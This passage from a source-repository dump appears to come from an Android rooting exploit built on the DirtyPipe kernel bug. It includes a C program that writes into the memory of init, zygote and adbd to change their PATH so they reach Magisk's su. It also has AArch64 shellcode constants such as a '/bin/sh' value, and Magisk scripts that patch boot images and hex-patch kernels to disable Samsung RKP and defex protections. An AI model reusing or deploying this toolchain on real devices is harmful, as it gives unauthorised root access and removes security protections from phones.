// Hook next instruction if PACIASP is detected. 153 | printf("d503233f PACIASP was found. Offset hook address by +4.\n"); 154 | *hook_target += 4UL; 155 | 156 | if(read(fd, first_instruction, sizeof(*first_instruction)) < 0){ 157 | perror("read first instruction"); 158 | close(fd); 159 | return 1; 160 | } 161 | } 162 | 163 | close(fd); 164 | return 0; 165 | } 166 | -------------------------------------------------------------------------------- /env-patcher.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | // Patching PATH for su in running process. 15 | // Target: init, zygote, zygote64, adbd 16 | 17 | #define LIB32 "/apex/com.android.runtime/lib/bionic/libc.so" 18 | #define LIB64 "/apex/com.android.runtime/lib64/bionic/libc.so" 19 | #define LIBINIT64 "/system/lib64/bootstrap/libc.so" 20 | 21 | typedef uint64_t u64; 22 | typedef uint32_t u32; 23 | 24 | struct gnu_hash { 25 | u32 nbuckets; 26 | u32 symoffset; 27 | u32 bloom_size; 28 | u32 bloom_shift; 29 | }; 30 | 31 | int readbuf(int fd, u64 addr, void *buf, int len){ 32 | if(lseek64(fd, addr, SEEK_SET) < 0){ 33 | return -1; 34 | } 35 | if(read(fd, buf, len) < len){ 36 | return -1; 37 | } 38 | return 0; 39 | } 40 | 41 | int writebuf(int fd, u64 addr, void *buf, int len){ 42 | if(lseek64(fd, addr, SEEK_SET) < 0){ 43 | return -1; 44 | } 45 | if(write(fd, buf, len) < len){ 46 | return -1; 47 | } 48 | return 0; 49 | } 50 | 51 | int get_environ_addr(int fd, bool is64, u64 base, u64 *addr){ 52 | if(is64){ 53 | Elf64_Ehdr hdr; 54 | if(readbuf(fd, base, &hdr, sizeof(hdr))){ 55 | return -1; 56 | } 57 | 58 | u64 dyn_off = 0; 59 | u64 dyn_size = 0; 60 | for(int i = 0; i < hdr.e_phnum; i++){ 61 | Elf64_Phdr phdr; 62 | if(readbuf(fd, base + hdr.e_phoff + sizeof(Elf64_Phdr) * i, &phdr, sizeof(phdr))){ 63 | return -1; 64 | } 65 | 66 | if(phdr.p_type == PT_DYNAMIC){ 67 | dyn_off = phdr.p_vaddr; 68 | dyn_size = phdr.p_memsz; 69 | } 70 | } 71 | 72 | u64 strtab = 0; 73 | u64 symtab = 0; 74 | u64 gnu_hash = 0; 75 | int dyn_count = dyn_size / sizeof(Elf64_Dyn); 76 | for(int i = 0; i < dyn_count; i++){ 77 | Elf64_Dyn dyn; 78 | if(readbuf(fd, base + dyn_off + sizeof(Elf64_Dyn) * i, &dyn, sizeof(dyn))){ 79 | return -1; 80 | } 81 | 82 | if(dyn.d_tag == DT_STRTAB){ 83 | strtab = dyn.d_un.d_val; 84 | } 85 | if(dyn.d_tag == DT_SYMTAB){ 86 | symtab = dyn.d_un.d_ptr; 87 | } 88 | if(dyn.d_tag == DT_GNU_HASH){ 89 | gnu_hash = dyn.d_un.d_ptr; 90 | } 91 | } 92 | 93 | // Get symbol count from DT_GNU_HASH 94 | 95 | struct gnu_hash gnu_hash_obj; 96 | if(readbuf(fd, base + gnu_hash, &gnu_hash_obj, sizeof(gnu_hash_obj))){ 97 | return -1; 98 | } 99 | u64 bucket_offset = base + gnu_hash + sizeof(gnu_hash_obj) + sizeof(u64) * gnu_hash_obj.bloom_size; 100 | u64 chain_offset = bucket_offset + sizeof(u32) * gnu_hash_obj.nbuckets; 101 | u32 last_bucket; 102 | if(readbuf(fd, bucket_offset + sizeof(u32) * (gnu_hash_obj.nbuckets - 1), &last_bucket, sizeof(last_bucket))){ 103 | return -1; 104 | } 105 | //printf("nbu: %d symoffset: %d %d,%d last:%d\n", gnu_hash_obj.nbuckets, gnu_hash_obj.symoffset, gnu_hash_obj.bloom_size, gnu_hash_obj.bloom_shift, last_bucket); 106 | u64 symcount = 0; 107 | 108 | for(int i = 0;; i++){ 109 | u32 last_sym = 0; 110 | if(readbuf(fd, chain_offset + sizeof(u32) * (last_bucket - gnu_hash_obj.symoffset + i), &last_sym, sizeof(last_sym))){ 111 | return -1; 112 | } 113 | //printf("%d: %08x\n", i, last_sym); 114 | if(last_sym & 1){ 115 | // last sym 116 | symcount = last_bucket + i + 1; 117 | break; 118 | } 119 | } 120 | 121 | // Linear search for dynamic symbols 122 | 123 | fprintf(stderr, "Symbol count: %lu\n", symcount); 124 | for(int i = 0; i < symcount; i++){ 125 | Elf64_Sym sym; 126 | if(readbuf(fd, base + symtab + i * sizeof(Elf64_Sym), &sym, sizeof(sym))){ 127 | return -1; 128 | } 129 | char name[100] = {}; 130 | if(readbuf(fd, base + sym.st_name + strtab, name, sizeof(name) - 1)){ 131 | return -1; 132 | } 133 | //printf("name[%d]: %s\n", i, name); 134 | if(strcmp(name, "environ") == 0){ 135 | *addr = sym.st_value; 136 | return 0; 137 | } 138 | } 139 | fprintf(stderr, "environ symbol not found. Symbols=%lu\n", symcount); 140 | return -1; 141 | }else{ 142 | Elf32_Ehdr hdr; 143 | if(readbuf(fd, base, &hdr, sizeof(hdr))){ 144 | return -1; 145 | } 146 | 147 | u64 dyn_off = 0; 148 | u64 dyn_size = 0; 149 | for(int i = 0; i < hdr.e_phnum; i++){ 150 | Elf32_Phdr phdr; 151 | if(readbuf(fd, base + hdr.e_phoff + sizeof(Elf32_Phdr) * i, &phdr, sizeof(phdr))){ 152 | return -1; 153 | } 154 | 155 | if(phdr.p_type == PT_DYNAMIC){ 156 | dyn_off = phdr.p_vaddr; 157 | dyn_size = phdr.p_memsz; 158 | } 159 | } 160 | 161 | u64 strtab = 0; 162 | u64 symtab = 0; 163 | u64 gnu_hash = 0; 164 | int dyn_count = dyn_size / sizeof(Elf32_Dyn); 165 | for(int i = 0; i < dyn_count; i++){ 166 | Elf32_Dyn dyn; 167 | if(readbuf(fd, base + dyn_off + sizeof(Elf32_Dyn) * i, &dyn, sizeof(dyn))){ 168 | return -1; 169 | } 170 | 171 | if(dyn.d_tag == DT_STRTAB){ 172 | strtab = dyn.d_un.d_val; 173 | } 174 | if(dyn.d_tag == DT_SYMTAB){ 175 | symtab = dyn.d_un.d_ptr; 176 | } 177 | if(dyn.d_tag == DT_GNU_HASH){ 178 | gnu_hash = dyn.d_un.d_ptr; 179 | } 180 | } 181 | 182 | // Get symbol count from DT_GNU_HASH 183 | 184 | struct gnu_hash gnu_hash_obj; 185 | if(readbuf(fd, base + gnu_hash, &gnu_hash_obj, sizeof(gnu_hash_obj))){ 186 | return -1; 187 | } 188 | u64 bucket_offset = base + gnu_hash + sizeof(gnu_hash_obj) + sizeof(u32) * gnu_hash_obj.bloom_size; 189 | u64 chain_offset = bucket_offset + sizeof(u32) * gnu_hash_obj.nbuckets; 190 | u32 last_bucket; 191 | if(readbuf(fd, bucket_offset + sizeof(u32) * (gnu_hash_obj.nbuckets - 1), &last_bucket, sizeof(last_bucket))){ 192 | return -1; 193 | } 194 | //printf("nbu: %d symoffset: %d %d,%d last:%d\n", gnu_hash_obj.nbuckets, gnu_hash_obj.symoffset, gnu_hash_obj.bloom_size, gnu_hash_obj.bloom_shift, last_bucket); 195 | u64 symcount = 0; 196 | 197 | for(int i = 0;; i++){ 198 | u32 last_sym = 0; 199 | if(readbuf(fd, chain_offset + sizeof(u32) * (last_bucket - gnu_hash_obj.symoffset + i), &last_sym, sizeof(last_sym))){ 200 | return -1; 201 | } 202 | //printf("%d: %08x\n", i, last_sym); 203 | if(last_sym & 1){ 204 | // last sym 205 | symcount = last_bucket + i + 1; 206 | break; 207 | } 208 | } 209 | 210 | // Linear search for dynamic symbols 211 | 212 | fprintf(stderr, "Symbol count: %lu\n", symcount); 213 | for(int i = 0; i < symcount; i++){ 214 | Elf32_Sym sym; 215 | if(readbuf(fd, base + symtab + i * sizeof(Elf32_Sym), &sym, sizeof(sym))){ 216 | return -1; 217 | } 218 | char name[100] = {}; 219 | if(readbuf(fd, base + sym.st_name + strtab, name, sizeof(name) - 1)){ 220 | return -1; 221 | } 222 | //printf("name[%d]: %s\n", i, name); 223 | if(strcmp(name, "environ") == 0){ 224 | *addr = sym.st_value; 225 | return 0; 226 | } 227 | } 228 | fprintf(stderr, "environ symbol not found. Symbols=%lu\n", symcount); 229 | return -1; 230 | } 231 | 232 | } 233 | 234 | void patch_env(int pid, bool is64){ 235 | char path[100]; 236 | sprintf(path, "/proc/%d/maps", pid); 237 | 238 | FILE *fp = fopen(path, "r"); 239 | if(fp == NULL){ 240 | perror("fopen"); 241 | return; 242 | } 243 | char buf[1000]; 244 | unsigned long addr = 0; 245 | while(fgets(buf, sizeof(buf), fp)){ 246 | int len = strlen(buf); 247 | if(len >= 1 && buf[len - 1] == '\0'){ 248 | buf[len - 1] = 0; 249 | } 250 | if((pid == 1 && strstr(buf, LIBINIT64)) || 251 | strstr(buf, is64 ? LIB64 : LIB32)){ 252 | char *p = strchr(buf, '-'); 253 | if(p){ 254 | *p = 0; 255 | addr = strtoul(buf, NULL, 16); 256 | fprintf(stderr, "Found libc base: %lx (%s)\n", addr, buf); 257 | break; 258 | } 259 | 260 | break; 261 | } 262 | } 263 | fclose(fp); 264 | 265 | if(addr == 0){ 266 | fprintf(stderr, "Failed to find libc.so base addr on %d\n", pid); 267 | return; 268 | } 269 | 270 | fprintf(stderr, "Base: %08lx\n", addr); 271 | 272 | sprintf(path, "/proc/%d/mem", pid); 273 | 274 | int fd = open(path, O_RDWR); 275 | if(fd < 0){ 276 | perror("open mem"); 277 | return; 278 | } 279 | 280 | u64 environ_addr = 0; 281 | if(get_environ_addr(fd, is64, addr, &environ_addr)){ 282 | close(fd); 283 | return; 284 | } 285 | int wordsize = is64 ? 8 : 4; 286 | u64 environ_val = 0; 287 | if(readbuf(fd, addr + environ_addr, &environ_val, wordsize)){ 288 | close(fd); 289 | return; 290 | } 291 | fprintf(stderr, "environ=%lx\n", environ_val); 292 | u64 env0_val = 0; 293 | if(readbuf(fd, environ_val, &env0_val, wordsize)){ 294 | close(fd); 295 | return; 296 | } 297 | char buf2[100]; 298 | if(readbuf(fd, env0_val, &buf2, sizeof(buf2) - 1)){ 299 | close(fd); 300 | return; 301 | } 302 | buf2[sizeof(buf2) - 1] = 0; 303 | fprintf(stderr, "Current : %s\n", buf2); 304 | 305 | const char *prefix = "PATH=/product/bin:"; 306 | const char *patched = "PATH=/dev/.magisk:"; 307 | // Check if not patched. 308 | if(strncmp(buf2, prefix, strlen(prefix)) == 0){ 309 | fprintf(stderr, "Patching...\n"); 310 | // Patch. 311 | if(writebuf(fd, env0_val, patched, strlen(patched))){ 312 | close(fd); 313 | fprintf(stderr, "Failed to write env\n"); 314 | return; 315 | } 316 | fprintf(stderr, "Done.\n"); 317 | } else { 318 | fprintf(stderr, "Already patched.\n"); 319 | } 320 | 321 | close(fd); 322 | } 323 | 324 | int main() { 325 | // Patch init env. 326 | fprintf(stderr, "Patching init env.\n"); 327 | patch_env(1, false); 328 | 329 | DIR *d = opendir("/proc"); 330 | 331 | while(1){ 332 | struct dirent *ent = readdir(d); 333 | if(ent == NULL){ 334 | break; 335 | } 336 | if('0' <= ent->d_name[0] && ent->d_name[0] <= '9') { 337 | int pid = atoi(ent->d_name); 338 | char path[100]; 339 | sprintf(path, "/proc/%d", pid); 340 | 341 | // Check zygote process uid 342 | 343 | struct stat st; 344 | if(stat(path, &st) < 0){ 345 | continue; 346 | } 347 | if(!S_ISDIR(st.st_mode)){ 348 | continue; 349 | } 350 | if(st.st_uid != 0 && st.st_uid != 2000){ 351 | continue; 352 | } 353 | 354 | // Check if cmdline equals zygote/adbd 355 | 356 | sprintf(path, "/proc/%d/cmdline", pid); 357 | int fd = open(path, O_RDONLY); 358 | if(fd < 0){ 359 | continue; 360 | } 361 | char buf[100]; 362 | read(fd, buf, sizeof(buf) - 1); 363 | buf[sizeof(buf) - 1] = 0; 364 | close(fd); 365 | 366 | if(st.st_uid == 0){ 367 | if(strcmp(buf, "zygote") == 0){ 368 | fprintf(stderr, "Pid: %d name: %s\n", pid, buf); 369 | patch_env(pid, false); 370 | }else if(strcmp(buf, "zygote64") == 0){ 371 | fprintf(stderr, "Pid: %d name: %s\n", pid, buf); 372 | patch_env(pid, true); 373 | } 374 | }else if(st.st_uid == 2000){ 375 | if(strcmp(buf, "/apex/com.android.adbd/bin/adbd") == 0){ 376 | fprintf(stderr, "Pid: %d name: %s\n", pid, buf); 377 | patch_env(pid, true); 378 | } 379 | } 380 | } 381 | 382 | } 383 | closedir(d); 384 | } 385 | -------------------------------------------------------------------------------- /include.inc: -------------------------------------------------------------------------------- 1 | /** 2 | Copyright © 2018 Odzhan. All Rights Reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are 6 | met: 7 | 8 | 1. Redistributions of source code must retain the above copyright 9 | notice, this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. The name of the author may not be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR 19 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, 22 | INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 24 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 25 | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 26 | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN 27 | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | POSSIBILITY OF SUCH DAMAGE. */ 29 | 30 | // symbolic constants for Linux/AArch64 31 | 32 | .equ BINSH, 0x0068732F6E69622F 33 | 34 | .equ BUFSIZ, 64 35 | .equ NULL, 0 36 | .equ SIGCHLD, 17 37 | 38 | // sched.h 39 | .equ CSIGNAL, 0x000000FF // signal mask to be sent at exit 40 | .equ CLONE_VM, 0x00000100 // set if VM shared between processes 41 | .equ CLONE_FS, 0x00000200 // set if fs info shared between processes 42 | .equ CLONE_FILES, 0x00000400 // set if open files shared between processes 43 | .equ CLONE_SIGHAND, 0x00000800 // set if signal handlers and blocked signals shared 44 | .equ CLONE_PTRACE, 0x00002000 // set if we want to let tracing continue on the child too 45 | .equ CLONE_VFORK, 0x00004000 // set if the parent wants the child to wake it up on mm_release 46 | .equ CLONE_PARENT, 0x00008000 // set if we want to have the same parent as the cloner 47 | .equ CLONE_THREAD, 0x00010000 // Same thread group? 48 | .equ CLONE_NEWNS, 0x00020000 // New mount namespace group 49 | .equ CLONE_SYSVSEM, 0x00040000 // share system V SEM_UNDO semantics 50 | .equ CLONE_SETTLS, 0x00080000 // create a new TLS for the child 51 | .equ CLONE_PARENT_SETTID, 0x00100000 // set the TID in the parent 52 | .equ CLONE_CHILD_CLEARTID, 0x00200000 // clear the TID in the child 53 | .equ CLONE_DETACHED, 0x00400000 // Unused, ignored 54 | .equ CLONE_UNTRACED, 0x00800000 // set if the tracing process can't force CLONE_PTRACE 55 | .equ CLONE_CHILD_SETTID, 0x01000000 // set the TID in the child 56 | .equ CLONE_NEWCGROUP, 0x02000000 // New cgroup namespace 57 | .equ CLONE_NEWUTS, 0x04000000 // New utsname namespace 58 | .equ CLONE_NEWIPC, 0x08000000 // New ipc namespace 59 | .equ CLONE_NEWUSER, 0x10000000 // New user namespace 60 | .equ CLONE_NEWPID, 0x20000000 // New pid namespace 61 | .equ CLONE_NEWNET, 0x40000000 // New network namespace 62 | .equ CLONE_IO, 0x80000000 // Clone io context 63 | 64 | // fcntl.h 65 | .equ O_ACCMODE, 00000003 66 | .equ O_RDONLY, 00000000 67 | .equ O_WRONLY, 00000001 68 | .equ O_RDWR, 00000002 69 | .equ O_CREAT, 00000100 70 | .equ O_EXCL, 00000200 71 | .equ O_NOCTTY, 00000400 72 | .equ O_TRUNC, 00001000 73 | .equ O_APPEND, 00002000 74 | .equ O_NONBLOCK,00004000 75 | .equ O_CLOEXEC, 02000000 76 | 77 | .equ SHUT_RDWR, 2 78 | 79 | .equ STDIN_FILENO, 0 80 | .equ STDOUT_FILENO, 1 81 | .equ STDERR_FILENO, 2 82 | 83 | .equ AF_UNIX, 1 84 | .equ AF_INET, 2 85 | .equ SOCK_STREAM, 1 86 | .equ SOCK_DGRAM, 2 87 | .equ IPPROTO_IP, 0 88 | 89 | // epoll.h 90 | .equ EPOLLIN, 0x001 91 | .equ EPOLLPRI, 0x002 92 | .equ EPOLLOUT, 0x004 93 | .equ EPOLLERR, 0x008 94 | .equ EPOLLHUP, 0x010 95 | .equ EPOLLRDNORM, 0x040 96 | .equ EPOLLRDBAND, 0x080 97 | .equ EPOLLWRNORM, 0x100 98 | .equ EPOLLWRBAND, 0x200 99 | .equ EPOLLMSG, 0x400 100 | 101 | .equ EPOLLEXCLUSIVE, 1 << 28 102 | .equ EPOLLWAKEUP, 1 << 29 103 | .equ EPOLLONESHOT, 1 << 30 104 | .equ EPOLLET, 1 << 31 105 | 106 | .equ EPOLL_CTL_ADD, 1 107 | .equ EPOLL_CTL_DEL, 2 108 | .equ EPOLL_CTL_MOD, 3 109 | 110 | // Linux/AArch64 system calls 111 | .equ SYS_epoll_create1, 20 112 | .equ SYS_epoll_ctl, 21 113 | .equ SYS_epoll_pwait, 22 114 | .equ SYS_dup3, 24 115 | .equ SYS_fcntl, 25 116 | .equ SYS_statfs, 43 117 | .equ SYS_faccessat, 48 118 | .equ SYS_chroot, 51 119 | .equ SYS_fchmodat, 53 120 | .equ SYS_openat, 56 121 | .equ SYS_close, 57 122 | .equ SYS_pipe2, 59 123 | .equ SYS_read, 63 124 | .equ SYS_write, 64 125 | .equ SYS_writev, 66 126 | .equ SYS_pselect6, 72 127 | .equ SYS_ppoll, 73 128 | .equ SYS_splice, 76 129 | .equ SYS_exit, 93 130 | .equ SYS_waitid, 95 131 | .equ SYS_futex, 98 132 | .equ SYS_kill, 129 133 | .equ SYS_reboot, 142 134 | .equ SYS_setuid, 146 135 | .equ SYS_setsid, 157 136 | .equ SYS_uname, 160 137 | .equ SYS_getpid, 172 138 | .equ SYS_getppid, 173 139 | .equ SYS_getuid, 174 140 | .equ SYS_getgid, 176 141 | .equ SYS_gettid, 178 142 | .equ SYS_socket, 198 143 | .equ SYS_bind, 200 144 | .equ SYS_listen, 201 145 | .equ SYS_accept, 202 146 | .equ SYS_connect, 203 147 | .equ SYS_sendto, 206 148 | .equ SYS_recvfrom, 207 149 | .equ SYS_setsockopt, 208 150 | .equ SYS_getsockopt, 209 151 | .equ SYS_shutdown, 210 152 | .equ SYS_munmap, 215 153 | .equ SYS_clone, 220 154 | .equ SYS_execve, 221 155 | .equ SYS_mmap, 222 156 | .equ SYS_mprotect, 226 157 | .equ SYS_wait4, 260 158 | .equ SYS_getrandom, 278 159 | .equ SYS_memfd_create, 279 160 | .equ SYS_access, 1033 161 | .equ SYS_init_module, 105 162 | .equ SYS_lseek, 62 163 | .equ SYS_readlinkat, 78 164 | 165 | .equ EAGAIN, 11 166 | .equ SEEK_DATA, 3 167 | .equ MAP_SHARED, 0x1 168 | .equ MAP_PRIVATE, 0x2 169 | .equ PROT_READ, 0x1 170 | .equ PROT_WRITE, 0x2 171 | .equ PROT_EXEC, 0x4 172 | 173 | // load a 64-bit immediate using MOV 174 | .macro movq Xn, imm 175 | movz \Xn, \imm & 0xFFFF 176 | movk \Xn, (\imm >> 16) & 0xFFFF, lsl 16 177 | movk \Xn, (\imm >> 32) & 0xFFFF, lsl 32 178 | movk \Xn, (\imm >> 48) & 0xFFFF, lsl 48 179 | .endm 180 | 181 | // load a 32-bit immediate using MOV 182 | .macro movl Wn, imm 183 | movz \Wn, \imm & 0xFFFF 184 | movk \Wn, (\imm >> 16) & 0xFFFF, lsl 16 185 | .endm 186 | 187 | // simulate a push operation 188 | .macro push Rn:req 189 | str \Rn, [sp, -16] 190 | .endm 191 | 192 | // simulate a pop operation 193 | .macro pop R:req 194 | ldr \Rn, [sp], 16 195 | .endm 196 | 197 | -------------------------------------------------------------------------------- /magisk/Magisk-v24.3.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/polygraphene/DirtyPipe-Android/ecddccb91ba1a1c62951a6f0faddde5369a679c7/magisk/Magisk-v24.3.apk -------------------------------------------------------------------------------- /magisk/boot_patch.sh: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | ####################################################################################### 3 | # Magisk Boot Image Patcher 4 | ####################################################################################### 5 | # 6 | # Usage: boot_patch.sh 7 | # 8 | # The following flags can be set in environment variables: 9 | # KEEPVERITY, KEEPFORCEENCRYPT, RECOVERYMODE 10 | # 11 | # This script should be placed in a directory with the following files: 12 | # 13 | # File name Type Description 14 | # 15 | # boot_patch.sh script A script to patch boot image for Magisk. 16 | # (this file) The script will use files in its same 17 | # directory to complete the patching process 18 | # util_functions.sh script A script which hosts all functions required 19 | # for this script to work properly 20 | # magiskinit binary The binary to replace /init 21 | # magisk(32/64) binary The magisk binaries 22 | # magiskboot binary A tool to manipulate boot images 23 | # chromeos folder This folder includes the utility and keys to sign 24 | # (optional) chromeos boot images. Only used for Pixel C. 25 | # 26 | ####################################################################################### 27 | 28 | ############ 29 | # Functions 30 | ############ 31 | 32 | # Pure bash dirname implementation 33 | getdir() { 34 | case "$1" in 35 | */*) 36 | dir=${1%/*} 37 | if [ -z $dir ]; then 38 | echo "/" 39 | else 40 | echo $dir 41 | fi 42 | ;; 43 | *) echo "." ;; 44 | esac 45 | } 46 | 47 | ################# 48 | # Initialization 49 | ################# 50 | 51 | if [ -z $SOURCEDMODE ]; then 52 | # Switch to the location of the script file 53 | cd "$(getdir "${BASH_SOURCE:-$0}")" 54 | # Load utility functions 55 | . ./util_functions.sh 56 | # Check if 64-bit 57 | api_level_arch_detect 58 | fi 59 | 60 | BOOTIMAGE="$1" 61 | [ -e "$BOOTIMAGE" ] || abort "$BOOTIMAGE does not exist!" 62 | 63 | # Dump image for MTD/NAND character device boot partitions 64 | if [ -c "$BOOTIMAGE" ]; then 65 | nanddump -f boot.img "$BOOTIMAGE" 66 | BOOTNAND="$BOOTIMAGE" 67 | BOOTIMAGE=boot.img 68 | fi 69 | 70 | # Flags 71 | [ -z $KEEPVERITY ] && KEEPVERITY=false 72 | [ -z $KEEPFORCEENCRYPT ] && KEEPFORCEENCRYPT=false 73 | [ -z $PATCHVBMETAFLAG ] && PATCHVBMETAFLAG=false 74 | [ -z $RECOVERYMODE ] && RECOVERYMODE=false 75 | export KEEPVERITY 76 | export KEEPFORCEENCRYPT 77 | export PATCHVBMETAFLAG 78 | 79 | chmod -R 755 . 80 | 81 | ######### 82 | # Unpack 83 | ######### 84 | 85 | CHROMEOS=false 86 | 87 | ui_print "- Unpacking boot image" 88 | ./magiskboot unpack "$BOOTIMAGE" 89 | 90 | case $? in 91 | 0 ) ;; 92 | 1 ) 93 | abort "! Unsupported/Unknown image format" 94 | ;; 95 | 2 ) 96 | ui_print "- ChromeOS boot image detected" 97 | CHROMEOS=true 98 | ;; 99 | * ) 100 | abort "! Unable to unpack boot image" 101 | ;; 102 | esac 103 | 104 | ################### 105 | # Ramdisk Restores 106 | ################### 107 | 108 | # Test patch status and do restore 109 | ui_print "- Checking ramdisk status" 110 | if [ -e ramdisk.cpio ]; then 111 | ./magiskboot cpio ramdisk.cpio test 112 | STATUS=$? 113 | else 114 | # Stock A only system-as-root 115 | STATUS=0 116 | fi 117 | case $((STATUS & 3)) in 118 | 0 ) # Stock boot 119 | ui_print "- Stock boot image detected" 120 | SHA1=$(./magiskboot sha1 "$BOOTIMAGE" 2>/dev/null) 121 | cat $BOOTIMAGE > stock_boot.img 122 | cp -af ramdisk.cpio ramdisk.cpio.orig 2>/dev/null 123 | ;; 124 | 1 ) # Magisk patched 125 | ui_print "- Magisk patched boot image detected" 126 | # Find SHA1 of stock boot image 127 | [ -z $SHA1 ] && SHA1=$(./magiskboot cpio ramdisk.cpio sha1 2>/dev/null) 128 | ./magiskboot cpio ramdisk.cpio restore 129 | cp -af ramdisk.cpio ramdisk.cpio.orig 130 | rm -f stock_boot.img 131 | ;; 132 | 2 ) # Unsupported 133 | ui_print "! Boot image patched by unsupported programs" 134 | abort "! Please restore back to stock boot image" 135 | ;; 136 | esac 137 | 138 | # Work around custom legacy Sony /init -> /(s)bin/init_sony : /init.real setup 139 | INIT=init 140 | if [ $((STATUS & 4)) -ne 0 ]; then 141 | INIT=init.real 142 | fi 143 | 144 | ################## 145 | # Ramdisk Patches 146 | ################## 147 | 148 | ui_print "- Patching ramdisk" 149 | 150 | echo "KEEPVERITY=$KEEPVERITY" > config 151 | echo "KEEPFORCEENCRYPT=$KEEPFORCEENCRYPT" >> config 152 | echo "PATCHVBMETAFLAG=$PATCHVBMETAFLAG" >> config 153 | echo "RECOVERYMODE=$RECOVERYMODE" >> config 154 | [ ! -z $SHA1 ] && echo "SHA1=$SHA1" >> config 155 | 156 | # Compress to save precious ramdisk space 157 | SKIP32="#" 158 | SKIP64="#" 159 | if [ -f magisk32 ]; then 160 | ./magiskboot compress=xz magisk32 magisk32.xz 161 | unset SKIP32 162 | fi 163 | if [ -f magisk64 ]; then 164 | ./magiskboot compress=xz magisk64 magisk64.xz 165 | unset SKIP64 166 | fi 167 | 168 | ./magiskboot cpio ramdisk.cpio \ 169 | "add 0750 $INIT magiskinit" \ 170 | "mkdir 0750 overlay.d" \ 171 | "mkdir 0750 overlay.d/sbin" \ 172 | "$SKIP32 add 0644 overlay.d/sbin/magisk32.xz magisk32.xz" \ 173 | "$SKIP64 add 0644 overlay.d/sbin/magisk64.xz magisk64.xz" \ 174 | "patch" \ 175 | "backup ramdisk.cpio.orig" \ 176 | "mkdir 000 .backup" \ 177 | "add 000 .backup/.magisk config" 178 | 179 | rm -f ramdisk.cpio.orig config magisk*.xz 180 | 181 | ################# 182 | # Binary Patches 183 | ################# 184 | 185 | for dt in dtb kernel_dtb extra; do 186 | [ -f $dt ] && ./magiskboot dtb $dt patch && ui_print "- Patch fstab in $dt" 187 | done 188 | 189 | if [ -f kernel ]; then 190 | # Remove Samsung RKP 191 | ./magiskboot hexpatch kernel \ 192 | 49010054011440B93FA00F71E9000054010840B93FA00F7189000054001840B91FA00F7188010054 \ 193 | A1020054011440B93FA00F7140020054010840B93FA00F71E0010054001840B91FA00F7181010054 194 | 195 | # Remove Samsung defex 196 | # Before: [mov w2, #-221] (-__NR_execve) 197 | # After: [mov w2, #-32768] 198 | ./magiskboot hexpatch kernel 821B8012 E2FF8F12 199 | 200 | # Force kernel to load rootfs 201 | # skip_initramfs -> want_initramfs 202 | ./magiskboot hexpatch kernel \ 203 | 736B69705F696E697472616D667300 \ 204 | 77616E745F696E697472616D667300 205 | fi 206 | 207 | ################# 208 | # Repack & Flash 209 | ################# 210 | 211 | ui_print "- Repacking boot image" 212 | ./magiskboot repack "$BOOTIMAGE" || abort "! Unable to repack boot image" 213 | 214 | # Sign chromeos boot 215 | $CHROMEOS && sign_chromeos 216 | 217 | # Restore the original boot partition path 218 | [ -e "$BOOTNAND" ] && BOOTIMAGE="$BOOTNAND" 219 | 220 | # Reset any error code 221 | true 222 | -------------------------------------------------------------------------------- /magisk/busybox: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/polygraphene/DirtyPipe-Android/ecddccb91ba1a1c62951a6f0faddde5369a679c7/magisk/busybox -------------------------------------------------------------------------------- /magisk/magisk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/polygraphene/DirtyPipe-Android/ecddccb91ba1a1c62951a6f0faddde5369a679c7/magisk/magisk -------------------------------------------------------------------------------- /magisk/magiskboot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/polygraphene/DirtyPipe-Android/ecddccb91ba1a1c62951a6f0faddde5369a679c7/magisk/magiskboot -------------------------------------------------------------------------------- /magisk/magiskinit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/polygraphene/DirtyPipe-Android/ecddccb91ba1a1c62951a6f0faddde5369a679c7/magisk/magiskinit -------------------------------------------------------------------------------- /magisk/util_functions.sh: -------------------------------------------------------------------------------- 1 | ############################################ 2 | # Magisk General Utility Functions 3 | ############################################ 4 | 5 | MAGISK_VER='24.3' 6 | MAGISK_VER_CODE=24300 7 | 8 | ################### 9 | # Helper Functions 10 | ################### 11 | 12 | ui_print() { 13 | if $BOOTMODE; then 14 | echo "$1" 15 | else 16 | echo -e "ui_print $1\nui_print" >> /proc/self/fd/$OUTFD 17 | fi 18 | } 19 | 20 | toupper() { 21 | echo "$@" | tr '[:lower:]' '[:upper:]' 22 | } 23 | 24 | grep_cmdline() { 25 | local REGEX="s/^$1=//p" 26 | { echo $(cat /proc/cmdline)$(sed -e 's/[^"]//g' -e 's/""//g' /proc/cmdline) | xargs -n 1; \ 27 | sed -e 's/ = /=/g' -e 's/, /,/g' -e 's/"//g' /proc/bootconfig; \ 28 | } 2>/dev/null | sed -n "$REGEX" 29 | } 30 | 31 | grep_prop() { 32 | local REGEX="s/^$1=//p" 33 | shift 34 | local FILES=$@ 35 | [ -z "$FILES" ] && FILES='/system/build.prop' 36 | cat $FILES 2>/dev/null | dos2unix | sed -n "$REGEX" | head -n 1 37 | } 38 | 39 | grep_get_prop() { 40 | local result=$(grep_prop $@) 41 | if [ -z "$result" 